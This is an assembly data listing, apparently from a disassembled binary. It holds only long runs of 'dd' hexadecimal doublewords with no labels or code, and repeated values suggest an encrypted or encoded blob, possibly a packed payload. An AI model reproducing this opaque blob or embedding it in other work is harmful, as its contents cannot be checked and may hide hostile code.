		dd 0E4B9033Eh, 0A6353885h, 19F4E8F3h, 0E18B091h, 5D5CDDD7h
		dd 61D1CFD2h, 53F9CE8Ch, 14F1860Dh, 0B55BEFC7h,	0A069743Eh
		dd 1EC15FDBh, 0FC11827h, 9A60223Eh, 147A743Ch, 0E7859DC7h
		dd 9BB2B247h, 0C4D3C634h, 955832CDh, 9BAD9300h,	0ABEA6B3h
		dd 3A57F53Dh, 0E6C0D343h, 7F9EFB4h, 0FBDD15EAh,	0E861D6CFh
		dd 3CA5AFC8h, 147A743Eh, 45ED1A16h, 0E785ECEAh,	147A75B3h
		dd 1EE01D3Eh, 0AABCBCEBh, 9D8787D1h, 0B654AB3h,	0A6C71E3Dh
		dd 0FB29F1AFh, 0E7BCAFC9h, 147A0FBAh, 0E8DD673Eh, 0E77A743Dh
		dd 147AAFC6h, 15E62D3Eh, 3D9513A7h, 147A749Bh, 9F8EFB5Eh
		dd 873696EAh, 8AD7F3E1h, 6D87582Ah, 0AFA2519Eh,	380FFF6Fh
		dd 8B49D8F6h, 17F88FB2h, 0E0293D43h, 461A269Bh,	2B198D7Fh
		dd 63F3CF4Ah, 6F0D95A5h, 6FF1F2DAh, 11C39A44h, 0FB6D3D17h
		dd 2B704E40h, 6FDB4E41h, 23819A44h, 695132CEh, 0CB5A9487h
		dd 76EAB0A5h, 34A3CF8Eh, 76AB9598h, 0BE39A45h, 4C7A1C57h
		dd 0A30EF7ACh, 12055DB5h, 6DE41483h, 179F95AFh,	6F0D9A44h
		dd 6FF1F2F1h, 8C39A44h,	0F36D3C17h, 2B704E40h, 6F3E4E41h
		dd 1A4C9A44h, 70F0AF17h, 0CBC81Ch, 61EE7988h, 6EE34FCBh
		dd 78764D44h, 57E39A45h, 82D07C32h, 9B73D50Ch, 6EEE799Ch
		dd 0F4E39A44h, 6AB84144h, 4EE39A44h, 0F63791D8h, 243FAED8h
		dd 603FAE9Fh, 2DE39A45h, 3E3191F0h, 540BE444h, 6F0D9598h
		dd 6FF1F2E7h, 42C39A44h, 436D3617h, 2B704E40h, 6FD14E41h
		dd 1C329A44h, 434EA417h, 52980444h, 0CB5A9598h,	76EA80B1h
		dd 0A8E69A7Fh, 76EA808Dh, 7BF9DA48h, 0E7AEC25Bh, 65FFF0Ch
		dd 7ECB4F7Fh, 63D5247Eh, 86444761h, 0B5788DCBh,	2C02ACD7h
		dd 837F3790h, 0F7B4CDFBh, 0D7CA6C82h, 0A943F42Ah, 0F378E870h
		dd 647329EEh, 6D6A4626h, 0DB9A1754h, 0AB496384h, 4EED63A0h
		dd 53206521h, 644BC1C4h, 0D0A777h, 0D59B5E68h, 7E1CDBE6h
		dd 0C57966ADh, 0D23E616Ch, 6EFA3EAAh, 9AC94129h, 5E6E4A20h
		dd 7F376C42h, 0E0576813h, 89FB62E7h, 3B0212BDh,	0CF4D78B0h
		dd 0F1D7A199h, 0CF73D598h, 7 dup(0CFC1A199h), 0EC1A199h
		dd 0CFC1A546h, 0E155CF2Ah, 450847E8h, 8AD98391h, 0BB2FB53Bh
		dd 25C3DD16h, 0F278FE67h, 0D20D02F1h, 693BBE64h, 6FDD4FEDh
		dd 49860E75h, 15EB9126h, 0F7A211B5h, 0CD2B8ED8h, 3CCA7A0Ch
		dd 0D52FAF5Eh, 0D3D57FD2h, 8E2C3D44h, 0BA1AF161h, 0D3C2D615h
		dd 0EE9A685Ah, 9CE8B298h, 604DFA3h, 0EE3B1994h,	0A4C24331h
		dd 8F2045BBh, 8EEC71BFh, 0B9EE1A24h, 19786237h,	0B72CDBC6h
		dd 0B88D08E5h, 7BD4293Ch, 0F826C488h, 9B7FE6B2h, 353E89FDh
		dd 852209BFh, 2D937441h, 0B9C2432Ah, 179D81A0h,	73BFACDEh
		dd 353EA2F5h, 3FE222BFh, 0BBEAE071h, 5AEB8402h,	4093B4FBh
		dd 0C4D168BFh, 0E7B75EF3h, 4A0A4C1Eh, 0A641C79Dh, 0E7533500h
		dd 79C2458Bh, 1D0E41E1h, 7EC24573h, 9738D8F9h, 0A033CF2Bh
		dd 0D4C8E02Bh, 0F21F5BA3h, 84E71EC9h, 0CFC19EB3h, 0F2A48F23h
		dd 63EF3489h, 3C455ED4h, 4FC20AD7h, 38B1ED27h, 40156CAh
		dd 0A3301F64h, 6BCFD631h, 0CA9D53B1h, 85F465B2h, 2068FA8Dh
		dd 2F16616h, 2BF03AD2h,	0CFC1A08Dh, 0AECAD699h,	2F9FBD44h
		dd 42D4F236h, 12C9F1A8h, 7721F72Bh
		dd 0A91BBFB3h, 4017258Fh, 9F68650Ah, 6C1587CFh,	3B5F6BE9h
		dd 7B648E24h, 0A37AC1AFh, 1F8C97C1h, 99EA1C21h,	8C3F2553h
		dd 8E66148Ah, 1F5300AFh, 0E3C3F6F3h, 0DF8BA67Ch, 6BF7056Fh
		dd 0A443B9DBh, 7984682h, 87C20AD7h, 0FA6E53DEh,	550A7F82h
		dd 0C41A82BDh, 4775779Bh, 284173C2h, 0A5C1A19Ah, 0CF7A92D8h
		dd 5F2360F0h, 224241F8h, 85DAEF1Fh, 1B608479h, 99F83643h
		dd 1A45D5A0h, 0C676A2DDh, 0B52A664Dh, 91BFA91Bh, 8FEE1D05h
		dd 0BA1BE3E9h, 905C4432h, 5DE71D05h, 3EFD5DE5h,	44890827h
		dd 0F6F166D0h, 40AA20BEh, 0BD95A4BFh, 3AFA63DAh, 6BD02E7Dh
		dd 380C37F8h, 90845EAh,	320954E6h, 0B4A66953h, 1D27B599h
		dd 221A3BA2h, 941A45A7h, 5B7DE664h, 0D51817B5h,	8990A199h
		dd 19C987DCh, 799A698Eh, 0C10C1143h, 88F4CE39h,	0B03CF93Ch
		dd 1EC01F4h, 81575F35h,	463AD0C1h, 3779A184h, 3370BD05h
		dd 9916A70h, 59E416C2h,	7EEE1D7Eh, 1FF07FAh, 47D61CD7h
		dd 6BF707E0h, 0E44961C3h, 0A969F163h, 9542A050h, 6BF70431h
		dd 8886BC2Ch, 0B17BD565h, 102F7E4Ch, 0BA46F14h,	85E947EBh
		dd 0CFC1A1CFh, 0BFCB9099h, 2FD8BF39h, 7786F236h, 5491F7E7h
		dd 0F9CC2F5Eh, 0BC4C4BBCh, 0A35DE042h, 0A10EABB1h, 4D3D3FADh
		dd 0C4401A25h, 69C6847Eh, 0DF9D1D1Bh, 2B901D97h, 2AA0AB5Eh
		dd 0E96E73CDh, 0CF583A3Fh, 0A4E72634h, 82324896h, 41DA211Fh
		dd 475609Fh, 0EA1ED69Bh, 68C25E3h, 0E6FA2B6h, 2E5C87BAh
		dd 0EC3B140Bh, 653D0F99h, 0CD4FD7F9h, 419B9662h, 8696651Ch
		dd 716A5FE7h, 75E117AFh, 687E9B54h, 75D29483h, 0BC48E4FDh
		dd 78F0BAA2h, 0D46CCEEEh, 8B92FF99h, 36E13028h,	281E5780h
		dd 0CE1521BCh, 65CA69B4h, 6DEF37ADh, 2A8BA4D8h,	567A22ABh
		dd 50B87CB6h, 0AEBF75ADh, 0D4391FAFh, 5E3D0C6Ah, 0EEE1E58Eh
		dd 0BF7269DAh, 0D3716BF1h, 14B32F69h, 8826F27Eh, 21434AD6h
		dd 0FAAFAEE9h, 0BD562AEh, 0F4A6638Bh, 417C8A08h, 0DB422668h
		dd 0E962B99Eh, 355F57E0h, 35C024BDh, 0A06AF93h,	0EB9600B6h
		dd 0CDD7332Ch, 8EEE2C9Dh, 0B8F7FC8Bh, 0CFC1A1E2h, 0CC4ADE87h
		dd 6ADC16E1h, 9CA98DAAh, 36092618h, 3C1BA93Fh, 8070A8B7h
		dd 0BA6F9D05h, 0E2B0733h, 0F26A56A9h, 4B3C9EF1h, 2B947A37h
		dd 0AA4243C6h, 2D4A8782h, 437518ACh, 0A2330228h, 0CFC19E12h
		dd 7333E713h, 0E1EA3DC6h, 0A2DA0258h, 34CD03B0h, 0A63653D9h
		dd 91A1561Ah, 0B6026D58h, 0C2422C6Ah, 82221990h, 0EB891BB5h
		dd 2EFC4AF5h, 1BE441F8h, 0A2CC46ABh, 28480B5Eh,	0AE70A3FFh
		dd 0A8FD31C0h, 40BB7AD2h, 0B83D06A8h, 0FC12973Fh, 0F85AB123h
		dd 64E07258h, 824C9697h, 72961917h, 0FDD7E207h,	0F82634DDh
		dd 91C17258h, 859417BFh, 8DFB0BE1h, 0CC0DC55Ch,	0EA2CBC45h
		dd 0F5F61D17h, 3C8E3712h, 975F2D29h, 0EB1ADEFEh, 690F7008h
		dd 0CCCB6B4Fh, 685CCCB0h, 518C4244h, 24F38A86h,	37487D2Ch
		dd 29B9300Fh, 0C5E920D1h, 0C85574E1h, 5AD4E5B5h, 0CD33DED6h
		dd 20468448h, 5B9DCB81h, 2EE1E706h, 9B494A86h, 983EBB7Eh
		dd 5B1D05h, 0D012007Ah,	9C9B7265h, 0ABECFC60h, 3034D558h
		dd 69D96BE9h, 822FD931h, 730653B2h, 0A47C4295h,	64FC4376h
		dd 56A3A844h, 917E1D5Ch, 92E78371h, 17A6E4BFh, 2F4B66E7h
		dd 0E3BEC35Bh, 73D77935h, 76E0A10Dh, 5827AD75h,	95962DCBh
		dd 0C3BCD2Ah, 1299AF71h, 0A3196104h, 8206A3B1h,	0BB45B2AEh
		dd 0DC6A9850h, 0A7988A46h, 0EB6ED5CAh, 589825F5h, 838E69B2h
		dd 795E0ADAh, 2F58A1F6h, 3309215Bh, 263CD814h, 60A89A18h
		dd 0D22E4364h, 0EB8F885Fh, 0AFC1A198h, 72611636h, 6BF70775h
		dd 0B709AF50h, 0B447D4D8h, 0A8516492h, 0D176754Eh, 0D5A5748Fh
		dd 0FDC878B2h, 25A050AAh, 0CC74BA1h, 0FE852031h, 1BFE1EDFh
		dd 0CF52EF4h, 0CFC1A56Eh, 0E0896A99h, 6C4DA2C0h, 61FBC585h
		dd 6EC1A149h, 6FB8C5DDh, 0D229200Eh, 54C1A199h,	0D0F4A55Fh
		dd 0F0F52D85h, 3FFD3184h, 0E0218A70h, 6F86562Ah, 89FC2600h
		dd 6EC1A190h, 0D3ECC585h, 0CFC1A585h, 0C3832899h, 8CBDDA66h
		dd 0C117B91Dh, 0B7DB2CA5h, 0ECAD2041h, 48DEF3ACh, 9E4FD599h
		dd 0D46D6222h, 0B08CA199h, 14172685h, 0BD9E78A5h, 7BE469Ch
		dd 2F639238h, 789E9896h, 66D1CB15h, 955C098Dh, 13989E79h
		dd 0EA838198h, 0CEE8B78h, 27D12B56h, 933C9C23h,	62FFF9F3h
		dd 9BED47Ch, 0ECDDFAFAh, 880AE323h, 3598F6FCh, 0BD28CFA6h
		dd 0DFDCBBEFh, 68EBE9DBh, 51EA0367h, 4F4BFA17h,	0E4FCDDEFh
		dd 649533DDh, 6FC1A19Ah, 0F2061DE0h, 525CA262h,	0CFC1A16Eh
		dd 0B26124DCh, 5B5C9E7Ch, 0CFC1A1F0h, 0F01124DCh, 5B5C9E8Bh
		dd 0CFC1A14Ch, 0F63124DCh, 5B5C9E7Ch, 0CFC1A178h, 876D24DCh
		dd 5B5C9E7Ch, 0CFC1A134h, 0DB720D24h, 0F96E9E7Ch, 0CFC1A525h
		dd 0D45F7899h, 1C40A199h, 6DA833A4h, 0CF741653h, 7CB62299h
		dd 5B5C59B7h, 0CFC1A1E3h, 0D4996022h, 0A240A199h, 671BEA6Dh
		dd 673EEABAh, 672BEA35h, 0F335246Ch, 0CF73EE25h, 0F9029299h
		dd 0CF73B71Bh, 0F31B9299h, 0CFC19F24h, 0D2586A99h, 20DA96E3h
		dd 0EBF4698h, 0CFC1A136h, 0B9F66DB6h, 0D5599E7Ch, 0C8C1A199h
		dd 0E7570044h, 0E5D11D68h, 6572C1E5h, 1FA12248h, 6E72F277h
		dd 0DDD655B6h, 0C273FB40h, 0CF73EA61h, 1560C199h, 0C11819C6h
		dd 0C0B020A5h, 0CF73B5A5h, 15B8E499h, 0D3320754h, 0ECF59FBDh
		dd 20C1A198h, 0DD6E95EEh, 0D514BD40h, 778C2299h, 37A78654h
		dd 2BDA5EA4h, 0CF72F292h, 8DC1A199h, 0D57BF799h, 0AFC1A199h
		dd 6F5F63CFh, 776FC5D5h, 0DD6FC5E6h, 0A1C1A199h, 659363C7h
		dd 0C3384293h, 0CC3217C0h, 7F080CA8h, 62BF4EEDh, 0E050A7EBh
		dd 0E382544Ch, 838C9E7Ch, 0E0509BCBh, 0B55E20D7h, 1DED04F5h
		dd 0D5135853h, 2F63498h, 2C409E7Dh, 6FF6950Dh, 473010FFh
		dd 2E775A7Fh, 2B0CD034h, 1DA6AE4Fh, 7BAA1958h, 0D71912A6h
		dd 2B7EB54Dh, 22EF371Ch, 5FB9CCA8h, 437B19CAh, 0BE4DBD97h
		dd 4BA6A604h, 0CFE24E66h, 2 dup(0CFA6A604h), 14A6A604h
		dd 0CFA6AAD2h, 44CEF645h, 78FC483h, 7DD653D5h, 1E9924EFh
		dd 85ECDC40h, 0DB59E14Ch, 9B7E1BB4h, 3CC68ECFh,	0CF9C661h
		dd 58334788h, 0E0DC119h, 44AF40F0h, 0DB437F3Bh,	74A6EF47h
		dd 52D6BD2Ch, 0FB19D242h, 6AD1E871h, 3EFA6F09h,	8B94C96Ch
		dd 1D01A8E7h, 3E2B0B96h, 28CDEAD3h, 6B7377BFh, 91AF5045h
		dd 34948F3h, 4CEDC4F8h,	0F4A519A1h, 343D8E39h, 719AFC6Dh
		dd 468B6FEFh, 3F883CE9h, 9D734EF7h, 6A9F944Ch, 0B6261409h
		dd 668D62BAh, 178F8A5Bh, 3747114Fh, 871B65CAh, 872C2553h
		dd 0A1053AE1h, 0A668D775h, 8CBCF480h, 0FAF9EC5Eh, 0CEC4E203h
		dd 7DA6A604h, 0DB437F44h, 6AEB1C6Eh, 4D756609h,	592AE79Eh
		dd 0CFA358F0h, 0D1BFA604h, 0B95D693Ah, 8DD75CADh, 4AF531Eh
		dd 53187944h, 0C2671CAAh, 0A84D5A42h, 53CECDFDh, 40E51441h
		dd 7A343CFBh, 30BDEB3h,	1FC512Bh, 0A8D4A70h, 682969E8h
		dd 93936EBCh, 40F6DC7h,	3A148801h, 4FFEB768h, 0B9400C9Bh
		dd 225AF477h, 43ACE936h, 0B9E90F55h, 0CC76F477h, 37D9538Dh
		dd 2DE4853Ch, 0A0727B6Ah, 6A9F48D1h, 9D28CF09h,	0C02AD9CFh
		dd 3C19D2AAh, 0B9B88D8h, 0ED1B25Fh, 4CC06FAAh, 570CF493h
		dd 3CBBB6F0h, 3AF2D310h, 7BA4AFD9h, 638032D2h, 0CFA6A9A4h
		dd 3A087EDCh, 87667F2Eh, 2EBC8363h
		dd 933370B9h, 0EF19D2AAh, 0C0C706E4h, 80C682D4h, 0D22ACE39h
		dd 1FC4CF1Bh, 373E9F1Bh, 0A0F5B470h, 4F0D38E5h,	0C0383192h
		dd 0CFA6A9A7h, 3A0887B7h, 0D89D72Eh, 34050D07h,	976E3E7Ch
		dd 98955575h, 977F84F1h, 515863ADh, 1A3BC992h, 73ECA120h
		dd 3A13BB51h, 23F7F7AAh, 0F8696849h, 9A028207h,	7A19D2AAh
		dd 5EEFD9C6h, 10383182h, 0CFA6A60Bh, 4BC1D2E9h,	0AA04A08h
		dd 4BDA5B17h, 0CEAFA45Fh, 760863Dh, 0D2260740h,	731B66B3h
		dd 2BEA6389h, 0CCECEF5Dh, 0A867C79Ah, 0B7D48210h, 0AAF17DE8h
		dd 0ABF5E0E4h, 0F2DAE7A8h, 23DB9C77h, 2B4784B0h, 0ED6F57DEh
		dd 7319D2EAh, 90AC3D09h, 3B940ADFh, 503CCDF4h, 6E1B819Fh
		dd 3B649A5Ah, 181CD9EFh, 0A23152F1h, 24110430h,	88431FD4h
		dd 5747A7F9h, 3B649A00h, 0FC06E4C3h, 5B62DAC2h,	0BCDCD7CCh
		dd 0A46CE93h, 50780566h, 0C242ADF1h, 16A10061h,	1AFA8989h
		dd 1E84BD05h, 1DAB113Ch, 52E09916h, 353A8195h, 446A2CEDh
		dd 91110743h, 0F3530290h, 8FA6A605h, 9EF9E9C3h,	18B4F339h
		dd 8A19D241h, 4893C42Dh, 7C1117A9h, 53548F9Eh, 1FB07CAh
		dd 713968B4h, 677A1E5Eh, 5621D764h, 8ED03D6Bh, 0F26ADAC2h
		dd 0C3BF43D0h, 0F8A4ACB9h, 40929E0Ah, 1738F5AAh, 0F547A083h
		dd 0CFA6A99Dh, 0D59966F2h, 2F2D2E6Ch, 0ED4182CEh, 4DC277A3h
		dd 0D999D241h, 0B8D714DAh, 0AD347477h, 68B8EAC8h, 0B4050C6Eh
		dd 457E4C73h, 0CA77F59Ch, 4B99C8BBh, 986F6FABh,	21AABE6Bh
		dd 900209B6h, 83097F4Ah, 4CBC845Eh, 1AA002CEh, 0D1298854h
		dd 8099A604h, 6C4772E7h, 677BE609h, 0E06666A2h,	0D80684ABh
		dd 2212DD18h, 79123E7Bh, 2C1114FAh, 0C7DC2BA8h,	1F4F1CA5h
		dd 4D317147h, 28E602A9h, 0A175F2A5h, 4B3249D0h,	4731C8F1h
		dd 919313E7h, 6C17D5A2h, 0EB1107A0h, 390C6111h,	0DC1107A1h
		dd 3B3B15C1h, 100AFFB2h, 0BE6F5468h, 0F47DA745h, 0D7A25577h
		dd 6EEFED13h, 0B9B8FF6Dh, 0BC5B37E7h, 372B2FCh,	0CAA0138h
		dd 1B9AF522h, 0BC9CC205h, 0A7C9AFD0h, 9BAAE644h, 0B2C609Fh
		dd 0D911E8F0h, 0A2798FECh, 6937072h, 0F5ED8228h, 0E281362Eh
		dd 2410EACCh, 5DEDF2D4h, 0D5A9F8ABh, 0FBADBCABh, 0C14D0D33h
		dd 0BDC01D1Eh, 5F046902h, 924ACAE4h, 7DF810ADh,	2EB5644h
		dd 8F963F00h, 0D7660BD0h, 0C3D553F8h, 672426FBh, 818018A9h
		dd 0BC092CBEh, 0FEB3BB6Fh, 3BF18E70h, 8FD95619h, 0CFD9B1ADh
		dd 9B6C8104h, 94BE6E4Eh, 0E3E27E9Ah, 0BE7279F7h, 0AF754D5Bh
		dd 24F645Ah, 0DA6B5918h, 0D3D6B10Fh, 0F6C8A907h, 46303EECh
		dd 77815423h, 4CF59B1Ah, 0CB6829C0h, 46A6A604h,	0CFA6AAC4h
		dd 6EC85104h, 0A3926503h, 0CFFC186Ch, 0EBB93104h, 0CF86353Bh
		dd 0EC013104h, 49051154h, 493E7B28h, 0A6AEA5BBh, 75ABF58h
		dd 1B26AE2Ah, 638D772Fh, 4CC2B92Eh, 32D12048h, 0D304A21h
		dd 0C62E1920h, 0CFAD039Eh, 0DA3A604h, 7CDBB34Dh, 47857A04h
		dd 0D000ED86h, 0E52DA604h, 382E1F00h, 0D000E686h, 1825A604h
		dd 0EC192F20h, 0DD3B9097h, 40FCC70Fh, 29FD2BC5h, 0FE8217D1h
		dd 0B5E3A75h, 0CACC490Ch, 2144BEE1h, 8F3E522Bh,	8A84702Ah
		dd 4FC2E4C6h, 51CABD77h, 0A4EB64CCh, 0C1B3D55Eh, 0D38F887Eh
		dd 0F2CFF28Bh, 40B86FFAh, 0E28D7CDAh, 0CFB6FE83h, 4A4BA604h
		dd 0D6FD5EAAh, 0CFA6A6ECh, 0C0B21E04h, 34A6A604h, 0CFB89120h
		dd 0CA85A604h, 0B5B00B16h, 25BFE3EDh, 56387D86h, 7657B4E3h
		dd 15AFDBD7h, 0B5B0A3DEh, 25BFE3EDh, 56387D86h,	7657B4E3h
		dd 0ECBC704h, 0CFA6B2ECh, 0C534C304h, 5C3242B6h, 695EAEB0h
		dd 0E3C7FEF8h, 43F95CA4h, 0A017E685h, 2E26A604h, 14AF5310h
		dd 0CFA6A616h, 83E8869Dh, 930169F9h, 0E5584FFCh, 0CFCC8E33h
		dd 0F0C1A604h, 0DFAD08ECh, 843E2393h, 0CF181428h, 0FF64AEA3h
		dd 0DF97C285h, 409C1CE0h, 0CFA6A622h, 0D07628AAh, 0B502918h
		dd 14B4468Bh, 0CFA6A6CCh, 1A9B2B5Ah, 9061B30Eh,	9D629A7h
		dd 0BEF1AD94h, 1CC4E8B3h, 0CFB22C0Bh, 84ECA604h, 0ACC9EEFCh
		dd 0B9AED797h, 81F2F39Fh, 0CFD9B0EEh, 0E1E22E04h, 6C23EC5Fh
		dd 47678ADEh, 1034CAFBh, 0C13277FBh, 0B9A6A604h, 0DB4DEE9Fh
		dd 0FAA6A604h, 10C750E8h, 380D503Eh, 0CFA6A614h, 0C8973276h
		dd 7D155E3Ah, 0A8211D9Fh, 1465AC8Dh, 0ECBBEA2h,	8A4AF1EDh
		dd 0D1C204DEh, 66A64329h, 69BB0623h, 1010EA98h,	0E1445E8h
		dd 646EB8F8h, 0A062B266h, 940DA144h, 0C8CA144h,	974EB8F8h
		dd 56AE6A65h, 0E5FC67CAh, 0DB615D50h, 3850CE23h, 0AF6F7A42h
		dd 5471FE63h, 270D2AD3h, 0D18DB50Fh, 5A909DDDh,	0D90A1B7h
		dd 0FBB21BF8h, 0F7F343Bh, 3967C61Bh, 0D909D42h,	638EC2F8h
		dd 0D909F21h, 1B3298F8h, 0A424DEh, 0FB541CA5h, 0D8EB5A4h
		dd 21D75AF8h, 82D7207Dh, 733CBB49h, 188DEEA4h, 0BAA8F8Fh
		dd 4783971Eh, 54BF9E08h, 0B4D79D97h, 0D909DA5h,	7347AE98h
		dd 5B7477C0h, 5B696178h, 0D909D54h, 2C54A6E5h, 0A8EC7DAh
		dd 370A22CBh, 89D01E42h, 2F5EDDB4h, 0D45798B5h,	2685BD19h
		dd 0C52E46C4h, 978674FDh, 0CAD89A27h, 8279B30Ch, 0A5C3201Ah
		dd 0C758F270h, 6945968Dh, 8D221A94h, 0C63DEDEDh, 0FE652CAFh
		dd 9CBF761Bh, 0EADC90C7h, 0E4862184h, 49E28F51h, 7EE3C027h
		dd 5394B9B4h, 23145188h, 0B25062C4h, 0C09F9A35h, 8695B66Fh
		dd 216BAA21h, 0FC8DC35Bh, 5F392622h, 0CF86FA7Dh, 2978D36Fh
		dd 0A2FF6130h, 17h dup(0A2FF6127h), 481D4B08h, 0AC6CE830h
		dd 0E1F76127h, 8CCBC02Eh, 465A136Fh, 0E6603888h, 15C2E819h
		dd 94F760E6h, 8CCBC02Ch, 465A10F3h, 3163E2B5h, 5C3BF2D7h
		dd 81B6E184h, 3EA935Ah,	0FFB4E8C1h, 0A467A416h,	9FE3B0DBh
		dd 0DB1EA5FAh, 1F12F5D7h, 3B700CE6h, 6B01E608h,	0A33466A3h
		dd 1CF855C2h, 0F8F28DB9h, 0F8D91484h, 0EA866DEh, 65F3D63Dh
		dd 9EF68A0Bh, 0E40A1FFh, 0CEF896C1h, 646C5113h,	1D9F2A3Eh
		dd 0CAFB2231h, 12E31C03h, 1C8C54ABh, 0A5D9D75Ch, 68199035h
		dd 4AC8D476h, 97C86EF4h, 0AC0AAAE4h, 0C299872Ah, 4C39C3CAh
		dd 0AE4F4355h, 1035B57h, 0D84822D8h, 3E319711h,	63D632FDh
		dd 0AE88823Bh, 78FB2F32h, 4777656Ch, 0E1AAEE58h, 0B37A808Dh
		dd 0D32770CBh, 0F7ED978Dh, 0A12E2C62h, 102D8449h, 16D6A469h
		dd 3DC23EA5h, 22D37FD1h, 538D94DDh, 0FAD05B7Ch,	4A6E9668h
		dd 5582510Ah, 9BE27B98h, 914C28CEh, 18BFED0Ch, 0EF3D2F3Eh
		dd 6504EC1h, 42246681h,	7DB34F29h, 57A77206h, 90C9C426h
		dd 158109D7h, 0BC4C772Ah, 4BF96C16h, 7F2AEF55h,	68B00E69h
		dd 0E9C9F73Fh, 60FF611Eh, 9C330073h, 53CCCCB3h,	4E9C1667h
		dd 86E080EAh, 0DD1E423Eh, 19D31F7Ah, 7B532F3Eh,	5A93E8A1h
		dd 410B8025h, 7609AF19h, 565257BBh, 0E40AC220h,	0CAFF6127h
		dd 7FFD9E5Ah, 19D31F73h, 8DAF2F3Eh, 0E4DFE8ACh,	8133DB49h
		dd 0C3C842FAh, 0D982CC6Eh, 4AB65160h, 5D256540h, 728D1FCDh
		dd 78250F8Fh, 0E799E064h, 90EFAF3Ah, 75939010h,	7F395574h
		dd 20BF0969h, 67550432h, 5E2B4669h, 70C842FAh, 153FFF03h
		dd 0A08A1859h, 67AF3DA3h, 624BFE03h, 0EA4E7F6Ch, 23033792h
		dd 0AED70BDAh, 314C758Eh, 82DC2B20h, 0E68E389Fh, 0F2E6E484h
		dd 0A2FF9E0Ch, 62E4D827h, 2101CD49h, 0B2C842F9h, 46329617h
		dd 6B2ABB43h, 0ADDAC26Eh, 0D7D56880h, 0EB80A577h, 0A93E4394h
		dd 439BB528h, 617536C2h, 0DA47C1EDh
		dd 5E7DEA78h, 0E5810974h, 227B1DEh, 0E1170Bh, 0A6991567h
		dd 7C4AF643h, 4E147B3Eh, 2CC82F47h, 4D38CE69h, 695A9555h
		dd 0E0496AFAh, 0F02D64D1h, 0CFDEE0AAh, 0C768554Ch, 65FF6127h
		dd 7FFD9E53h, 27BA8E73h, 35AB269Eh, 300BFD6h, 94D04586h
		dd 1067F86h, 8FE8D8A3h,	8B9C2076h, 0EC87D392h, 0A2FF61BCh
		dd 158109DFh, 0FDACE62Ah, 0B9C842FCh, 606BEE08h, 6C8E7355h
		dd 942C4867h, 1CD5F50Bh, 565257C2h, 606BC220h, 219B24B2h
		dd 0E0CE9F97h, 0B015C781h, 0EE6BCC22h, 30CCAFBh, 58B02F3Fh
		dd 0EAE3D2C2h, 0A325E4ABh, 18A3C998h, 0FFC351F4h, 0BB59B715h
		dd 19D596B2h, 8CB30229h, 565CE12Bh, 8FE71EDEh, 6136A8E2h
		dd 0B6E97B43h, 15A0D467h, 90A9002Ah, 4D355650h,	0FFAF3D55h
		dd 8FFDDB26h, 2712FB4h,	92366ADAh, 0E03AE626h, 0E0DD8E7Ah
		dd 77C842FCh, 92EB2F53h, 68B3E866h, 0C132F73Fh,	4BF9082Bh
		dd 0D8E9240h, 0A2FF6FDCh, 60452827h, 0C8839B1h,	0E0C842F9h
		dd 0CBC28FD3h, 0C42F7773h, 0FDACE967h, 7DC842FCh, 687953D5h
		dd 5C1B7A06h, 11F1E1C8h, 3E43C06Fh, 1CAE0600h, 5E85C94Eh
		dd 9BDDE480h, 8F87CE0Fh, 0CC982EB4h, 121233EFh,	0EED2478Bh
		dd 0A2FF6126h, 27810879h, 0CD6E4B22h, 0F524FF09h, 8CE40226h
		dd 4788B20Ch, 576EF2B9h, 0AC9A05EDh, 7B29DD6Bh,	0F5C84465h
		dd 606BC304h, 0C807709Eh, 7D175401h, 1CACE7C0h,	1CD0F07Eh
		dd 0A2B2A259h, 62E6A927h, 2101CD49h, 0A1C842F9h, 0E1A5B5BEh
		dd 5938C28Dh, 1057E08h,	0B36F2220h, 66B6CE3Eh, 9D3F36C2h
		dd 6D3A8AF3h, 0EFFDDA72h, 0D7F93A60h, 3BC842F9h, 803CE54Fh
		dd 68B011D8h, 1FC9F73Fh, 60FF611Eh, 0F0D79E53h,	16E3E97Fh
		dd 83712F3Eh, 0C411AD27h, 0FDACE95Dh, 7DC842FCh, 687953D5h
		dd 0E07E7006h, 0BB6C07C1h, 227B9290h, 1D015075h, 1CD0F07Eh
		dd 0A2FF6A59h, 30E6A927h, 0E54659DFh, 10585F8h,	4F7D71F0h
		dd 38599762h, 5493D2B5h, 0CDE5F063h, 5393E6ECh,	8ACB8BB2h
		dd 9A33F3E7h, 4DE54D94h, 12E5D155h, 8FCC0AE6h, 0B1BA240Ch
		dd 31C842F9h, 1898CD61h, 4CDD2F3Eh, 32A35110h, 8787D044h
		dd 1BFDCA4Ah, 0C698BCD9h, 59DB4583h, 10587ECh, 0FA5CC9CFh
		dd 694FEF1Fh, 10587ECh,	0CD37E26Dh, 4FC842F9h, 6AD684Bh
		dd 2D424910h, 8755FEB4h, 0CAA55D43h, 0BBEF2F04h, 0B49CCD73h
		dd 58F151E8h, 57DA1555h, 6FC5BB5Dh, 8B2E9CACh, 0E20A603Dh
		dd 0FF78E9C0h, 947D7695h, 0DA2A3230h, 8AD391AFh, 7A63AF1h
		dd 83758387h, 0F20FEC65h, 0FC8141DFh, 5E2C4FC5h, 0F2E6CFF1h
		dd 0A2FF548Bh, 0BB1AF127h, 2768C193h, 0DF4EC326h, 0FA9C9A94h
		dd 204536C2h, 0EBD44A96h, 132EB6DAh, 8AB72F3Eh,	0E5A015C8h
		dd 63E38A65h, 1A241370h, 0C926811Ch, 1F0FE927h,	7C736C1h
		dd 1126978h, 5F403010h,	91D5C35Dh, 5FD93B00h, 5E2B49A1h
		dd 6FC845FEh, 448A4DE1h, 0CE7CC8D5h, 0A0D6A529h, 9655E893h
		dd 29E13906h, 0EF4FF1D8h, 67481EC5h, 0DAFD2A2Ch, 0DE9A2681h
		dd 7AC0DC33h, 15DFF515h, 9EFF6127h, 53B79C5Ah, 4BF90E60h
		dd 87AD3755h, 0B3A0D467h, 706461E3h, 34F62903h,	0F06C7BC1h
		dd 17FA4BCBh, 8906212Fh, 0C2D5F568h, 0E6449F01h, 0A2FF6047h
		dd 0C74B086Eh, 0B2583B16h, 0E4FFD911h, 0E0839713h, 424E04Fh
		dd 0E0DED5h, 1D7120B5h,	0E82CC1DEh, 0BFB55B20h,	9FBC33D4h
		dd 86940706h, 822B76B0h, 81A14FB9h, 0FBFF6131h,	72FEA35Ah
		dd 1FAE0C06h, 0E03AF17Ch, 0F02D64D1h, 0A2ABCBAAh, 0EFF56127h
		dd 912F0FEFh, 4BCED8BBh, 0CF486255h, 1DB3EC7Ah,	82D0EF87h
		dd 4556A78Eh, 0DA22B548h, 0E50BDBE0h, 0CAFF6127h, 0CA4A35Ah
		dd 7E85E160h, 0BAC57FB2h, 27C842F9h, 39A946F3h,	9C33DF48h
